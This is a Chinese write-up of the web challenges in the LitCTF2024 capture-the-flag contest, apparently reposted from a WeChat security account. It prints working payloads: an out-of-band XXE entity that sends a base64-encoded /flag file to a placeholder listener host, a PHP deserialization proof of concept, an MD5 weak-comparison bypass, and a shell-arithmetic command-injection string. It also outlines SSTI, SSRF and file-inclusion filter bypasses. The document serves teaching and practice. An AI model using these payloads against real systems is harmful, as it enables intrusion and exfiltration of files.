LitCTF2024-WEB

admin 2024年6月3日09:28:50评论32 views字数 1799阅读5分59秒阅读模式

0x00:前言

web ak之后就撤退了。总结思路还是挺流畅的。一路丝滑解完就撤退。

文章首发:

https://blog.csdn.net/qq_46548764/article/details/139396576

目录结构:

LitCTF2024-WEB

0x01:exx

LitCTF2024-WEB

经典登录框,稍微看看,直接使用poc字典跑一圈。看看有什么注入之类的东西。

LitCTF2024-WEB

看到这里就很明显了,什么xml。这不xxe吗。直接使用xxe的payload打一波看看。

LitCTF2024-WEB

发现直接读取flag,还是不行。就考虑是不是无回显,这个之后就考虑oob+file协议外带数据。

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"><!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://x.x.x.x:9999/?x=%file;'>">%eval;%exfiltrate;

然后开启一个监听。然后查看GET请求中带的数据就行了。

LitCTF2024-WEB

0x02:SAS - Serializing Authentication System

看这个标题就知道考点是什么了。

LitCTF2024-WEB

反序列化呗,直接构造poc就完事了。

<?phpclass User {    public $username;    public $password;}$pop = new User;$pop -> username = 'admin';$pop -> password = 'secure_password';echo base64_encode(serialize($pop));?>

LitCTF2024-WEB

0x03一个…池子?

LitCTF2024-WEB

看到这里东西,做多的都大概猜到,大概率是SSTI。简单打个payload验证一下,看看。

LitCTF2024-WEB

成功运行,直接脚本一波梭哈,梭哈是一门艺术。开工具,直接整

这里使用的是fenjing这个ssti测试的工具。

LitCTF2024-WEB

0x04浏览器也能套娃?

LitCTF2024-WEB

看到这个大概就能猜到和SSRF有关了。因为浏览器,还套娃,套什么,其他网站东西。随手打个网址,好的回显。

LitCTF2024-WEB

直接上高速,反正没过滤。

LitCTF2024-WEB

0x05高亮主题(划掉)背景查看器

LitCTF2024-WEB

从源代码中看到,过滤../,然后还包含文件,基本上就是文件包含没跑了。

LitCTF2024-WEB

注意到页面可以手动切换主题:Use this theme,点击该按钮后会向后端发送请求包。

离谱的是切换主题后,发现传递的参数就改了。然后它过滤的是url和theme有什么关系。上高速

LitCTF2024-WEB

0x06: 百万美元的诱惑

<?phperror_reporting(0);$a = $_GET['a'];$b = $_GET['b'];$c = $_GET['c'];if ($a !== $b && md5($a) == md5($b)) {        if (!is_numeric($c) && $c > 2024) {            echo "好康的";        } else {            die("干巴爹干巴爹先辈~");        }    }else {    die("开胃小菜))");}

这种弱类型比较,/?a[]=1&b[]=2&c=2025a直接不用想,肌肉记忆就完事了。

LitCTF2024-WEB

拼接访问dollor.php,然后看到代码

<?php//flag in 12.phperror_reporting(0);if(isset($_GET['x'])){    $x = $_GET['x'];    if(!preg_match("/[a-z0-9;`|#'"%&x09x0a><.,?*-=\[]]/i", $x)){            system("cat ".$x.".php");    }}else{    highlight_file(__FILE__);}?> 

和CTF-show某个题目很相似。直接上高速。

过滤了一堆,我们注意到system("cat ".$x.".php"),根据提示,就只需要构造出12即可。在Linux中,我们可以使用$(())进行数学运算

可以配合按位取反符号~进行运算,这样得到的结果就是-1。

LitCTF2024-WEB

LitCTF2024-WEB

然后做出足够多的并且满足12就行了。

/dollar.php?x=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

原文始发于微信公众号(小呆安全):LitCTF2024-WEB

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月3日09:28:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LitCTF2024-WEBhttp://cn-sec.com/archives/2807911.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息